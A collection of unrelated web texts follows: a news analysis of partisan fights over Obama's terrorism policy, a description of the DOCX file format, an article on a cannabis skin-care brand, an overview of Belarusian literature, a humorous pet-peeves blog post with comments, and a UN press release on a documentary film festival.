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It's midterm election season, and Republicans are reviving a tried campaign mantra: that Democrats are weak on national security, especially terrorism.
Historically, Democrats start out at a disadvantage on this issue.
But outcries over the administration's handling of the Christmas Day bombing attempt, proposed terrorist trials in Manhattan, and the planned closing of the Guantánamo Bay detention center have put the White House even more on the defensive.
For weeks, the attacks – including from GOP moderates who typically stay out of partisan firefights – went largely unanswered.
That's changing. While Barack Obama campaigned to change direction on issues such as the interrogation and treatment of detainees, the response to the GOP onslaught is to highlight continuity with Bush-era practices.
"The most important thing for the public to understand is we're not handling any of these cases any different than the Bush administration handled them all through 9/11," President Obama told CBS News on Feb. 7.
The response poses risks for the White House that cut across the electorate. For Republicans, it's too little, too late. For Democrats, a move to align policy with Bush-era practices doesn't fit the promises of the 2008 presidential campaign.
"National security has been a perceived Democratic weakness for the last few decades. It hurts Obama with the right and the center," says pollster John Zogby of Zogby International. "But on the other hand, he is now forced into a position where he is doing some things like the Bush administration. It not only hurts him with the left, but it raises the issue you're just starting to hear: Was Bush really so bad, and if he was so bad, why are you doing things exactly the way he did?"
In fact, congressional GOP leaders publicly support broad lines of the president's national security policy. They backed the decision to not drawn down troops in Iraq early on and to direct more resources to Afghanistan, including stepped-up deployment of unmanned drones to kill Al Qaeda leaders in Pakistan – moves that alarm the left wing of the Democratic congressional delegation.
But the barely aborted Christmas bombing attempt aboard a Detroit-bound airliner set off rounds of congressional oversight hearings that revived sharp partisan differences.
The appearance of Attorney General Eric Holder before Congress next month will give lawmakers a venue to press their views of events to the public.
Here are key flash points:
Interrogation of terror suspects: Republicans charge that the Department of Justice wasted critical moments after the Christmas Day bombing attempt when FBI interrogators told terrorist suspect Umar Farouk Abdulmutallab that he had a right to silence and to an attorney.
Maine Sen. Susan Collins, a moderate and the top Republican on the Homeland Security and Governmental Affairs Committee, called the move "irresponsible" and "dangerous."
White House officials, speaking on background, told reporters that Mr. Abdulmutallab's family had been brought to Washington and persuaded him to respond to questions. He was talking, they said, so no harm was done by "Mirandizing" him. A timeline of events released by the White House Sunday shows that Abdulmutullab was read his rights nine hours after being taken into custody, and for much of that time, he was in surgery.
Abdulmutallab was charged in a criminal court on Dec. 26, a move that also signaled that the Justice Department was proceeding with an understanding that the suspect had the rights of a criminal defendant.
The GOP blow back has been unrelenting. On Feb. 10, Rep. Pete Hoekstra (R) of Michigan called for chief counterterrorism adviser John Brennan to resign, after Mr. Brennan said he had consulted with GOP leaders and top intelligence officials on the decision to treat Abdulmutallab as a criminal defendant. Republican leaders say they received no details.
In a Feb. 3 letter to Senate Republicans, Mr. Holder wrote that the Bush administration used the criminal justice system to convict more than 300 people on terrorism-related charges, including attempted shoe-bomber Richard Reid (who was also Mirandized). "Those policies and practices, which were not criticized when employed by previous administrations, have been and remain extremely effective in protecting national security," he said.
Americans favor trying Abdul-mutallab in a military court, rather than a civilian one, by a margin of 57 to 42, according to a CNN poll.
Closing of Guántanamo: On Jan. 22, 2009, as one of his first official acts as president, Obama signed an executive order to close the detention facility that year. It had been a key campaign pledge to signal a new approach to counterterrorism, but turned out to be far more difficult to pull off. Challenges included repatriating detainees cleared for release, processing those held for trial in civilian courts or military tribunals, and relocating those to be held indefinitely.
"People dismissively say that Obama is trying to curry favor with the left or the Europeans, but we can't win this war on terrorism without close cooperation with our allies," says Bruce Hoffmann, a terrorism expert at Georgetown University. "Obama said, 'Let's look at the issues that have been most divisive,' such as Guantánamo, but the president found that he has inherited a problem of great difficulty and complexity."
Terror trials in New York: The administration's proposal to try 9/11 mastermind Khalid Sheikh Mohammed and four associates in a federal court near ground zero also raised objections from New York leaders, prompting the White House to consider other options. On Jan. 27, Mayor Michael Bloomberg backed off his previous support of the trial, citing cost estimates in the hundreds of millions of dollars. In addition, the case was fraught with legal issues, including evidence Mr. Mohammed had been subjected to waterboarding at least 183 times.
On Feb. 2, a bipartisan group of nine US senators called for cutting off funding for the trials of 9/11 conspirators in civilian courts.
"Why in the world would this country take the people who planned 9/11, put them in the middle of 8 million people in New York City less than two miles from where they attacked the country, and think that's a good thing?" said Sen. Lindsey Graham (R) of South Carolina. "That is putting the people of New York at risk for no reason, costing money for no good reason, giving the terrorists a microphone they don't deserve. And it puts this nation at risk."
Americans say terrorist trials should be handled by military tribunals by a 59 percent to 39 percent margin, according to a Quinnipiac University poll released Feb. 10.
"Trials in New York City [were] going to be politically explosive, but the worst of all worlds is to make that decision and to back off as soon as the political heat intensifies," says Julian Zelizer, a congressional historian at Princeton University in New Jersey.
"The Obama administration had to be absolutely prepared politically.... Otherwise, it fits into a bigger narrative of Democrats scrambling and searching for what they are going to do on homeland security."
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DOCX is the file format for Microsoft Office 2007 and later.
DOCX should not be confused with DOC, the format used by earlier versions of Microsoft Office.
Container Format
DOCX is written in an XML format, which consists of a ZIP archive file containing XML and binaries. Content can be analysed without modification by unzipping the file (e.g. in WinZIP) and analysing the contents of the archive.
The file _rels/.rels contains information about the structure of the document. It contains paths to the metadata information as well as the main XML document that contains the content of the document itself.
Metadata information are usually stored in the folder docProps. Two or more XML files are stored inside that folder, app.xml that stores metadata information extracted from the Word application itself and core.xml that stores metadata from the document itself, such as the author name, last time it was printed, etc.
Another folder contains the actual content of the document, in a Word document, or an .docx document the folder's name is word. A XML file called document.xml is the main document, containing most of the content of the document itself.
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Office Open XML is an open XML standard developed by Microsoft for word processing documents, spreadsheets, presentations and charts. The OOXML standard was submitted to the ISO for approval. After initially being rejected over technical concerns, the ISO approved a modified version as ISO/IEC 29500:2008. Microsoft intended to use the OOXML standard for its Office suite. However, Office does not support the standard that the ISO approved, it only supports the standard that was originally rejected by the ISO. As of Office 2010, Microsoft has still not brought its software into compliance with the standard.
For most purposes OOXML may be considered a subset of DOCX (DOCX contains additional features, like OLE serialization).
Documentation on OOXML may provide a guide to analysing a DOCX file.
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Budding beauty: Cannabis makes its debut in skin care
Skin-care products often have a star ingredient. But in New York City, the one in this new line of natural products could get you arrested. That's because Apothecanna contains cannabis. (The flower oil, seed oil, and plant matter to be exact.)
Apothecanna was founded last year when Brooklynite James Kennedy moved to what he calls the "Bushwick of Denver." Kennedy, who worked in product design and branding for natural brands such as Aveda, wanted to start a company based on the topical benefits cannabis—a legal possibility in Colorado, but not the Big Apple.
You might be surprised to hear it, but "cannabis is a very versatile plant when it comes to skin care," says Kennedy, who makes four products with Mary Jane: Body Budder, Super Salve, Lip Buzz, and Pain Creme. They also contain great natural ingredients from nourishing plant-seed oils like rosehip and grapeseed to antioxidants like green tea and acai.
To prove its main ingredient isn't just a gimmick, however, Apothecanna cites studies published in scientific journals that verify the topical benefits of cannabis. Most of the research has centered around cannabinoids, compounds that reduce inflammation.
And topical THC (the active ingredient in marijuana) shows promise as a remedy for acne and dry skin. But Dr. Neil Sadick, a leading NYC-based dermatologist, says the research is not substantial enough yet. "I can't give an evidence-based opinion on the product," he says.
Conclusive research or not, you don't have to worry—moisturizing with Apothecanna will not make you giggle or eat an entire box of cookies. "It won't get you high," says Kennedy. "Go ahead, try to smoke a Body Budder. It's not going to work."
Even so, federal laws still prohibit the sale of the skin care, except in states where medical marijuana is legal. "There aren't laws to regulate the topical use of cannabis yet," says Kennedy.
"It's a hazy territory, to use one of the many bad puns available." So right now, you can only buy Apothecanna with a medical marijuana card at dispensaries in Colorado. There aren't even any dealers to our knowledge.
In the near future, Kennedy hopes to take Apothecanna national, starting with states like California, New Mexico, and New Jersey, which have medical marijuana laws. But he's banking on New York jumping on the medical marijuana bandwagon. "We're long-time New Yorkers and our ultimate goal is to set up headquarters in New York," says Kennedy. "As soon as we're no longer criminals for making our skin-care products." — Lisa Elaine Held
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Belarusian Literature
Belarusian Literature
The emergence of Belarusian literature is directly tied to the development of the Glagolitic and Cyrillic alphabets, Latin script otherwise known as Latsinka (Łacinka) and the tenth century adoption of Christianity by the Eastern Slavs. Early Belarusian literature was enriched by deeply rooted oral folklore traditions, as well as Greco-Byzantine literature, and developed in close association with the literature of Kievan Rus.
Literacy fell on fertile ground, in the case of the Belarusian people. Scholars have catalogued a vast store of traditional Belarusian tales representing a wide array of genres that range from accounts of actual events to the fantastic and "tall tale." The fairy tale is the most diverse genre found in Belarusian folklore, and scholars recognize the folk tales originating in this region of Eastern Europe as being particularly vivid and beautiful. The same qualities that made Belarusian folklore exceptional informed new genres, such as legends and spiritual verse. The distinctive spirituality and oral traditions of the Belarusian people were given expanded expression through the groundbreaking contributions of the cultural torchbearer Francysk Skaryna, one of the first publishers of Eastern Europe.
Over the course of its more recent evolution, Belarusian literature has passed through many stages, including sentimentalism, populism, revolutionary adradzhennie (renaissance), and the socialist realism of the Soviet period. Buffeted as it was by the rise and fall of the powers surrounding it – primarily Poland to the east, Lithuania to the north, and Russia to the east – as well as by Russian imperial policy that at times promoted and at times suppressed the development of the Belarusian language, the nation has had to struggle to ensure its vitality and development. An important role in this struggle was played by the literary journal Nasha Niva (Our Pasture, 1906-1915), which brought together many of the writers who today continue to be widely revered as classics, including Yanka Kupala, Yakub Kolas, and Maksim Bohdanovich. Deserve to be mentioned also such masters of the Belarusian literary Latsinka as Vincent Dunin-Marcinkievich, Francishak Bahusevich, Kastus Kalinouski, Janka Kupala, Ciotka.
No country suffered more from the ravages of World War II than Belarus, which lost approximately one-third of its population and endured devastating physical destruction. Among the authors who have compellingly addressed this chapter in history are Ales Adamovich, whose semi-autobiographical account of his experiences as a teenaged partisan, The Khatyn Story, was made into the well-known movie Come and See, and Vasil Bykau, who wrote prolifically about the war and was nominated for a Nobel prize by laureates Joseph Brodsky and Czeslaw Milosz.
Today, literary fiction plays an exceptionally important role in Belarusian society and is a varied and vital reflection of the nation's rich cultural history, oral traditions, and the tumult of the twentieth and twenty-first centuries. Every year sees the emergence of brilliant new works of poetry, prose, and drama that are uniquely Belarusian in nature, composed by such talents as Uladzimir Arlou, Andrej Khadanovich, Adam Hlobus, Valzhyna Mort, Valjaryna Kustava, Maryja Martysievich, Valancin Akudovich, Volha Hramyka, Natalya Batrakova, Misha Goldenkov, Tamara Lisitskaya, Evgeniya Pasternak, and Dmitry Berazinsky. Today's authors inject a new element of individualism into national cultural traditions and stand as a testament to the literary vitality and potential of Slavic Eastern Europe.
The stylistic innovations and unique perspective of Belarusian literature have yet to be sufficiently represented in English translation. In the near future, Glagoslav Publications will remedy this deficiency with the release of a number of fascinating and important works by classic and contemporary Belarusian writers.
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Thursday, August 21, 2008
10 Things I Hate About You
2) When you let your kids run wild in the store while they are pushing those stupid mini-shopping carts, bumping into me and running over my toe. And then you look at me sheepishly as if to say, "they're just kids...aren't they just the cutest things?"
3) When you look directly at me and say, "Hi! How are you???" Inducing a response from me- "Fine". And then you act all disgusted and point to your Bluetooth Earpiece like, "hello! I'm on the phone, duh!"
4) When you leave a public restroom without washing your hands.
5) When you talk incessantly to your date during the entire movie - and it's opening night of like the best movie of the year!
6) When you come to my door, and I tell you "no thanks" and you continue to ask me when a better time to come back might be. How about NEVER!!!
7) When you talk to the check-out girl in the lane next to yours the entire time you are ringing up my order. Hello! I am the customer! Me!!!
8) When you attempt to wear that trashy Denim Mini skirt (hiked up to high-heaven) and the see-thru halter top that you are clearly much too Over-the-Hill and much too Over-Weight for. No one needs to see that! C'mon!
9) When you stand right outside of the entrance puffing on a cigarette NEXT to the sign that reads, "No Smoking within 15 feet of this sign"!
10) When you "let one" slip in public, leaving no warning for those unsuspecting victims, like me, who innocently walk into your "fart-cloud" practically choking - leaving me to pay twice, as now all those behind ME, think I was the culprit of the aforementioned vapor!!!
122 comments:
- Dawn said...
Amen! Especially about the kids running wild in the store!! Or in restaurants!
- August 21, 2008 at 5:32 PM
- Kathi said...
This is too funny! I love #10....since I live with that one. 3 boys in my fam...including the hubby...you know what I mean??
I just wanted to say thanks for stopping by my blog and let you know the winner is up.
- August 21, 2008 at 10:21 PM
- Karin @ 6ByHisDesign said...
OK, wow - you've really thought this through! Now, about the kid running wild thing. I'm really sorry I ran over your toe. And they really are 'just kids' --- it was that 4th one that really threw me over the edge.
Oh wait. That wasn't you in Missouri at the TarJay today? Oh crum. Now I gotta go find THAT woman's blog.
Thanks for stopping by - you're funny. I'll have to come back.
- August 21, 2008 at 10:24 PM
- Blog Stalker said...
I am still laughing hysterically about the fart cloud.
What a great post.
- August 21, 2008 at 10:55 PM
- Ruthykins said...
well, let's not take my kids to restaurants while you're here so you'll still have a good impression of them.
- August 22, 2008 at 6:54 AM
- Meg said...
I might be guilty of #2 and #7.
Hey, my kid is cute! LOL
- August 22, 2008 at 8:44 AM
- hollibilly said...
My thoughts exactly!
- August 22, 2008 at 9:41 AM
- Jill said...
I'll second #'s 7 & 8. They really chap my hide!
Thanks for stopping by yesterday. Beautiful blog you have here!
- August 23, 2008 at 12:12 PM
- The Happy Mom said...
Great list, thanks for the laugh!
Happy SITS day to you! :)
- November 11, 2008 at 12:11 AM
- Momma Trish said...
I agree with these. They all drive me nuts! Why don't people behave better? Really?!
- November 11, 2008 at 12:17 AM
- Lilly's Life said...
Oh that is so hilarious and I nodded my head all the way through and couldnt agree with you more. And your little ducklings are adorable and I like your hair either way. Have a great SITS Feature Day!!!
- November 11, 2008 at 12:29 AM
- jori-o said...
HAHAHA! I agree with all of them, #7 and #9 especially. And #10!! Hysterical!!!
- November 11, 2008 at 1:06 AM
- Mommyhood is Thankless said...
I agree with all of these, I have kids and they know better than to run around like heathens in public. I get very agitated by people who let their kids just "do whatever" in public. SUPERVISE YOUR CHILDREN!
Happy SITS day!
- November 11, 2008 at 2:01 AM
We should find whoever invented those mini-carts and ram one of them into his/her ankles.....
- November 11, 2008 at 3:11 AM
- April said...
Happy SITS Day! I loved this post and you expressed my feelings to a tee!
- November 11, 2008 at 4:35 AM
- jewelstreet said...
Oh, the infamous fart cloud. Yeah, I could've done without that one once or twice.
Congrats on the Sits feature!
- November 11, 2008 at 4:42 AM
- Kimmie0270 said...
This is too much! LoL Happy Sits Day!
- November 11, 2008 at 4:55 AM
- HeatherY said...
Happy SITs day! So funny and so true!
- November 11, 2008 at 4:58 AM
- Mimi said...
Lol, you even got me to laugh first thing in the morning!
- November 11, 2008 at 5:06 AM
- Preston said...
OMG you've nailed them all.
- November 11, 2008 at 5:08 AM
I agree with so many of these!
- November 11, 2008 at 5:39 AM
- momto1 said...
Too funny...although, I must admit to letting my kid run in the grocery store every once in a while....with out the cart/physically assaulting people. Some days, it is better to let him have some fun when I have to get things done--
But the restauraunt thing? I'd never! He is a perfect angel!
- November 11, 2008 at 5:43 AM
- Heather said...
There's one grocery store here that has the mini carts, but they've got these tall, metal poles attached with a little sign on the top that says "SHOPPER IN TRAINING" or some such. The *only* time I've ever let my kiddo push one of those mini-carts is when we're at that store, and I kept a firm grip on the top of the pole (miles above her eyeline so she never caught on) so there was no running wildly nor crashing into things/people.
I will also confess to having grabbed the pole of some *other* person's kid's minicart when they've gone careening past my airspace. That really burns my butter!
This list totally cracked me up! Cheers!
- November 11, 2008 at 5:53 AM
- KC Mom said...
Ha! You said fart cloud!! You are too funny.
- November 11, 2008 at 5:58 AM
- Pink Ink said...
#7, yes!
Congrats on your SITS day :-)
- November 11, 2008 at 5:58 AM
- Joye said...
you cracked me up. there is a lot of truth 10 is just wrong hehehe saucy blog!
- November 11, 2008 at 6:00 AM
- Leslie said...
This are all very true and annoy me too! #10 just happened to me at Dick's sporting goods! YUK!! Congrats on SITS!!
- November 11, 2008 at 6:02 AM
- Brenda Jean said...
I must be one lucky mama, cause a lot of these haven't happened to me. But you know what that means right? Now they ALL will IN ONE DAY...gee, thanks:)
- November 11, 2008 at 6:27 AM
- Debbie Y. said...
My dear hubbies gassyness leaves more than a "fart cloud." Let's say more like a "rumblestorm." And the vapors are lethal. I try not to take him in stores with me because his SBD's are like chemical warfare and will have the other shoppers dropping in the aisles.
- November 11, 2008 at 6:28 AM
- Melissa Lester said...
About kids running wild in the store, let me just say, I'm sorry. Usually mine are pretty well-behaved, but there are times they make me want to crawl under a rock.
- November 11, 2008 at 6:33 AM
- Toots said...
Right on!!! And HA HA HA about the fart cloud . . . unfortunately I've heard that my hubby sometimes does this . . . AT WORK! he he he
- November 11, 2008 at 6:37 AM
- Shanda said...
Congrats on being featured today!! I always get a good laugh at posts like these... :)
- November 11, 2008 at 6:40 AM
- mrsbear said...
That's not me, I swear. Okay, my kid might have run over your toe, but it was probably with a full sized shopping cart, and I apologized profusely.
- November 11, 2008 at 6:41 AM
- cat said...
Oh I love this post! The little things that annoy us all to no end.
- November 11, 2008 at 6:52 AM
- Creative Junkie said...
Ewwwwwwwww for #4! For those kinds of sickies, I think of the lockdown and isolation scene from Monsters Inc., when someone is caught with a baby sock on their back.
Someone needs to body slam those people to the floor and sterilize their hands.
- November 11, 2008 at 6:54 AM
- Jaden Paige said...
#4 is just... Yuck!
And I also agree on #'s 6 & 7... Come to think of it, I agree with most of your pet peeves! You've hit the proverbial nails on their heads :D
- November 11, 2008 at 7:01 AM
- lmerie said...
Love your list - especially #7. I once just talked away at a Walmart cashier while she talked to the next cashier. Finally she asked if I was talking to her and I said yes, but she was not listening and I just wondered why she asked how I was if she was not going to listen or pay attention. I was not having a good day in Wallyworld (someone had emptied and taken my cart in the store - right before)
- November 11, 2008 at 7:13 AM
- AngiDe- Nana's Box said...
That is hilarious! I seriously laughed out loud!!
"Nana's Box"
- November 11, 2008 at 7:18 AM
- Brandy said...
#1 and #2 are my exact thoughts! #10 is just disgusting.
- November 11, 2008 at 7:18 AM
- I am Barking Mad said...
Congrats on the SITS feature! You're "Girls" post had me rolling on the floor with a mixture of tears of commiseration and laughter. I can so relate. Also, I could have TOTALLY written this post, although you forgot to mention the intense pain when one of those midget carts runs into your Achilles tendon. Literally brings tears to my eyes!
Awesome post. Love the blog and will be back for sure!
Auds at Barking Mad!
- November 11, 2008 at 7:22 AM
- Kelly Deneen said...
hahaha! Love it!
This list is so right on. What a great way to start my day. :)
- November 11, 2008 at 7:27 AM
- Brooke Jean said...
Wow. You mean I'm not the only one! Thanks for a good laugh!
- November 11, 2008 at 7:31 AM
- Margaret said...
Great list.
- November 11, 2008 at 7:31 AM
- Vickie said...
Freakin' funny. This post put a smile on my face. I was feeling a bit blue today, thanks. Congrats on SITS day.
- November 11, 2008 at 7:32 AM
- ugagirl30 said...
Too funny. The phone thing actually happened in reverse at a concert recently. We thought he was talking on his phone and he got all peeved because he was talking to us. Stupid old perv!!
- November 11, 2008 at 7:38 AM
- Karol said...
That's awesome. Yup, #10 happens around my boys (yes, that includes hubby). Oy.vey.
I hate blue tooth. Shall they burn.
*Happy SITS day!
(did you break the SITS board?! I think it was you!!!...lol..)
- November 11, 2008 at 7:47 AM
- Kristy said...
lol to funny and i totally agree!
- November 11, 2008 at 7:52 AM
- Ronnica said...
Sorry, that was me in the denim mini-skirt and see-through halter.
Umm, not. I know better!
The not washing your hands things gets me. I especially find it interesting when people do it in front of others. Do they have no shame?
- November 11, 2008 at 7:55 AM
- Katie said...
That's a crack up!! I'm so with you on those! I despise Walmart for the kiddo reason alone! Congrats on FB!
- November 11, 2008 at 7:56 AM
- Queen of Feisty said...
Congrats on the FB of the day! I too am a SITS girl. Enjoy the crazy traffic from this day! I had mine a few weeks back, and it was crazy fun!
Anywho, I agree on all 10... I just may need to post one of these myself. Thanks for the inspiration!
- November 11, 2008 at 8:12 AM
- wendy said...
Funny, funny stuff...and all so true!
Happy SITS day!
- November 11, 2008 at 8:18 AM
- mrsmouthy said...
Dude, sorry about my son running over your foot with his mini grocery cart. But the fart cloud? That was TOTALLY not me!
- November 11, 2008 at 8:20 AM
- Deconstructing Jen said...
That is the funniest thing I've read in a long while! Hysterical. :D Thanks for sharing your list.
- November 11, 2008 at 8:31 AM
- Rhea said...
So, how are we supposed to handle number 10?
- November 11, 2008 at 8:39 AM
- Diamond said...
#4-Ewww! I see a lot of that.
Happy SITS day!
- November 11, 2008 at 8:56 AM
- Paige said...
My husband is the king of the fart cloud. He also thinks if he rolls down the window in the car and waves at himself that it will help. It does not
- November 11, 2008 at 8:56 AM
- Shannon said...
Oh, I hate #4, too! That is just gross!
- November 11, 2008 at 9:01 AM
- Honey Mommy said...
You are hilarious!
I have your exact "I belong" button with the temple on my sidebar too! Imagine that.
- November 11, 2008 at 9:02 AM
- Laura Ingalls Gunn said...
Yes, I am with you on all aforementioned points.
- November 11, 2008 at 9:15 AM
- Tami said...
ROFL!! Great list! I agree with you on all of those!
Happy SITS day - its too much fun :)
- November 11, 2008 at 9:25 AM
- Grand Pooba said...
You're hillarious! Congrats on your bloggy fabulousness! I loved this post.
- November 11, 2008 at 9:57 AM
- Marrdy said...
That is too funny. I agree with every one!
- November 11, 2008 at 10:17 AM
- Amy said...
Happy SITS day! I agree with them all :D
- November 11, 2008 at 10:28 AM
- angie said...
What I hate is when kids spill something (candy, drinks) and parents ignore it. Ugh.
Great list!
- November 11, 2008 at 10:32 AM
- Lynette said...
Ugh. The wild children. Please put them on leashes or something like the animals they act like.
- November 11, 2008 at 10:39 AM
- Blue Castle said...
Every one of your top 10 I add an Amen too. :) Awesome.
- November 11, 2008 at 10:40 AM
- Melodie said...
OMG! I walked through a couple of fart clouds at Walmart yesterday and I practically vomitted! At the end of the aisle, I made sure to turn the opposite direction from the couple who had been ahead of me on that aisle so as to avoid anymore fart clouds. YUCK!
- November 11, 2008 at 10:45 AM
- Rhonda said...
I totally agree with them all! Especially number 10!!
Happy SITS day!
- November 11, 2008 at 10:46 AM
- Laural Out Loud said...
This list pretty much sums up the worst offenses, lol. I've experienced every one, and it makes me want to scream at people about decency. I'm sure it'd be a lost cause. Thanks for the laugh!
- November 11, 2008 at 10:48 AM
- Jacie said...
I'd say that about sums it up.
- November 11, 2008 at 10:54 AM
- Nina said...
I laugh at your list... I hate the blue tooth fool. I run into a girl getting coffee each morning that does this and I have learned but someone really needs to tell her she looks foolish walking around talking to nothing.
- November 11, 2008 at 10:58 AM
- Lizzie said...
these are just hilarious! (Happy SITS day!)
- November 11, 2008 at 11:10 AM
- Mrs. S said...
Oh Emma, this is a goodie! Too funny...
- November 11, 2008 at 11:15 AM
- Spoiled Mommy said...
I LOVED it!!
Im new to the SITS and Im so glad that I joined today and found your blog...its GREAT!!
I agree with you on EVERYTHING on the 10 things!
Too funny!
- November 11, 2008 at 11:46 AM
- Carrie said...
Happy SITS day!
These are TOO funny!
- November 11, 2008 at 11:48 AM
- Michelle said...
Thanks for the chuckle and I couldn't agree with you more.
- November 11, 2008 at 11:56 AM
- Momma Drama said...
I hate blue tooths/teeth too.
- November 11, 2008 at 12:08 PM
- Renée aka Mekhismom said...
OH my. The bluetooth is a winner but the fart cloud is a classic. Congrate on your SITS day!
- November 11, 2008 at 12:23 PM
- Mandy said...
Soooo funny! And sooo right! Thanks for the laugh! Congrats on your FB day.
- November 11, 2008 at 12:24 PM
- Tabitha Blue said...
Hilarious. Thanks for the laugh. I completely agree!
- November 11, 2008 at 12:31 PM
- Dawn@Embracing the Ordinary Life said...
Yes x 10 from me...
- November 11, 2008 at 12:32 PM
- Tessa said...
over from sits, love your blog
- November 11, 2008 at 12:42 PM
Hey! Visiting from SITS. Gotta agree with all those pet peeves. They're quite valid and true.
Fart Clouds suck.
- November 11, 2008 at 12:47 PM
- Tiffany said...
YES! about smokers standing right by the stinking door. I hate that!
- November 11, 2008 at 1:02 PM
- sassy stephanie said...
Oh man. Great list.
- November 11, 2008 at 1:08 PM
- Michelle said...
Congrats on your SITS day!!! my biggest pet peeve is the kids in the stores whose parents aren't watching them, and they touch your legs with sticky fingers and scream and cry and whine all the while the parents just let them run a muck! ya know what, I'm going to say something to parent next time. If they don't like it they should control their kids!
- November 11, 2008 at 1:08 PM
- Robyn said...
Oh my gosh! I totally ran through a "nasty!" fart cloud at the supermarket yesterday. As I emerged - gagging - my fist thought was, "Oh man! Someone will think that was me!" Glad to know there are others out there who experience the same trauma. Congrats on your SITS day!
- November 11, 2008 at 1:27 PM
- Mama Kat said...
I leave fart clouds everywhere I go. It's how I mark my territory.
- November 11, 2008 at 1:34 PM
That's a great list! I love your sense of humor!
- November 11, 2008 at 2:13 PM
- Michelle said...
Ahhh... amen amen amen! :)
- November 11, 2008 at 2:29 PM
- Kendra said...
All I can say is RIGHT ON!! Also, I LOVE your blog design.
- November 11, 2008 at 2:49 PM
- Kendra said...
ohh...and the fart cloud? That was most likely my husband :)
- November 11, 2008 at 2:50 PM
- Hairline Fracture said...
You hit the nail on the head with these!
- November 11, 2008 at 3:11 PM
- Susan said...
Those are great! Happy SITS Day!
- November 11, 2008 at 3:13 PM
- Aleta said...
Absolutely hilarious! Loved the last one - gross, but true!
- November 11, 2008 at 3:24 PM
- Brandy said...
HAHAHA this is the greatest!! I love these!
- November 11, 2008 at 3:30 PM
- The Boss Lady said...
I can't believe you mentioned #7...that is SO TOTALLY my pet peeve. Listen, Mr. Checker-boy, I don't care who you're going to ask out, or what you're doing tonight. Just scan my damn items and move it along! UGH!
- November 11, 2008 at 3:31 PM
- Alicia said...
I agree with all your pet peeves! Looking forward to checking out your blog :)
- November 11, 2008 at 3:48 PM
- Lindsay said...
Those are all hilarious! I definitely should do one of those for my blog, too. Happy SITS day!
- November 11, 2008 at 3:50 PM
- ZenMom said...
An excellent list! I'm liking you more and more. :)
- November 11, 2008 at 4:02 PM
- Noah's Mommy said...
haha...fart cloud...that is the best one...and oh so true...and half the time the culprit is my oh so cute...but oh so gross hubby....sigh
- November 11, 2008 at 4:05 PM
- Megan said...
Visiting from SITS...
I agree wholeheartedly with everything you've said!! Grr! Some people! :0P
- November 11, 2008 at 4:53 PM
- Allison said...
Happy SITS Day! I agree with all of those! My fave was #3! I hate when people motion "hi" but then continue to talk on the phone! Great post!
- November 11, 2008 at 5:08 PM
- Tranquility said...
Oh my gosh... I SOOOOO agree to every single one of those!
HAPPY SITS DAY - Congratulations!
- November 11, 2008 at 5:59 PM
- Finding Normal said...
Happy SITS Day!
Hate those carts and I was so glad when they disappeared from my store a few months ago.
HATE the bluetooths and their dirty looks. Seriously. Get off the phone. You're at the grocery.
And #4...just ew. I always want to stop these people and remind them. I am, after all, a 4th grade teacher who is use to constantly asking if they washed. With soap. And the fact that grown ass adults skip it just sickens me.
- November 11, 2008 at 7:10 PM
Enjoy your saucy day!
- November 11, 2008 at 7:12 PM
- WheresMyAngels said...
Sorry about my "Fart Clouds", but my stomach hurts if i keep walking around the store holding them in;)
- November 11, 2008 at 7:13 PM
- Jen said...
too funny
- November 11, 2008 at 7:20 PM
- jubilee said...
Oh.Good.Gracious. I just had #10 happen to me last night!
Here from SITs and enjoyed your post.
- November 11, 2008 at 7:42 PM
I'm with you on #9! It's so inconsiderate when smokers hang out in high traffic areas where people (even children) are trying to get by and the smoke blows right in our faces. I mean, sure you're outdoors but use a little common sense.
- November 11, 2008 at 8:03 PM
- Blicky Kitty said...
Great post~! Happy SITS day!
- November 11, 2008 at 8:51 PM
- Lola Goetz said...
I hate it when people in traffic do something stupid and then try to ignore you. And the cashier/checker not even bothering to say hello to me. ugh!
- November 11, 2008 at 9:36 PM
- LaTonya Yvette said...
Happy SITS Day
I Love #10, Too Funny!
- November 11, 2008 at 9:43 PM
- JANE said...
OK, number 4 and 7 I am all over and I am still rolling on the floor on number 10!! Congrats and enjoy your SITS day!!
- November 11, 2008 at 9:54 PM
- Lavender n Lattés said...
Love it! I agree completely! #1 is my biggest pet peeve, though...
- November 11, 2008 at 9:55 PM
- april kennedy said...
loved this post! hope you have had a great day as featured blogger!
- November 11, 2008 at 11:15 PM
- ConversationsWithACupcake said...
Yoo-Haloo! A Sister in the Gospel AND a SITSta? We must be kindred spirits.
Yay for your big day. I'm so glad to have found you! I'm excited to peruse the blog & get my giggle on!
- November 11, 2008 at 11:29 PM
- Saundra@An Italian Mama Gone Crazy said...
Congrats on being the featured blogger!
Oh goodie... another word verification...
You crack me up!
Thanks for the laugh!
- November 11, 2008 at 11:30 PM
That is a great list! :)
Hope you had a great SITS Day!!!
- November 11, 2008 at 11:38 PM
- Anna Lefler said...
* snort *
Awesome list! I'm right there with you, especially on the fart cloud..ACK.
:^) Anna
- November 12, 2008 at 7:37 AM
- Rachael said...
Oh my GOSH, I am totally in on the 3s especially - 3, 6 and 9 bug the crap out of me!
- November 13, 2008 at 2:54 PM
- Katie said...
Fart cloud...ha ha. I love it.
- November 14, 2008 at 7:16 AM


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Documentary film festival on Millennium Development Goals beginsMay 30, 2013
Brussels – The United Nations Development Programme (UNDP), the MDG Achievement Fund and the wider UN family in Brussels are proud partners of the fifth edition of the Millennium International Documentary Film Festival, taking place from 31 May to 9 June in Brussels, Belgium.
The UN, together with the organizers of the festival, seeks to raise awareness of the Millennium Development Goals (MDGs) and sustainable development – topics often not very high on the agenda of people outside the development world.
In a video message for the 2013 edition of the Millennium International Documentary Film Festival, UNDP Goodwill Ambassador Antonio Banderas says the festival has an impressive panel of films that puts a human face on the MDGs. Banderas adds: "Documentary films inspire us, they inspire change, they mobilize and unite us around our common goal: a better world for all of us."
The Millennium International Documentary Film Festival was created in 2008 and had its first edition in 2009. It is unique because its programming is devoted to the eight MDGs and related social, cultural and environmental issues. The festival screens documentaries from all over the world. This year more than 100 films from 50 countries will be shown, among them Brazil, Senegal, China, Turkey or DR Congo.
The festival supports documentary filmmakers who persistently portray the world in all its richness and complexity. Since its first edition, the organizers proved that high quality documentaries can help people better understand the world and contribute to the reflection on how societies can deal with major issues in a better way. Documentary films are seen as strong and subtle communication tools that can help raise awareness for important issues.
The festival grew into becoming an international event, a real forum and meeting center for major issues related to development. It brings together committed filmmakers, scientists, intellectuals, policy makers, lobbyists, journalists and an international public.
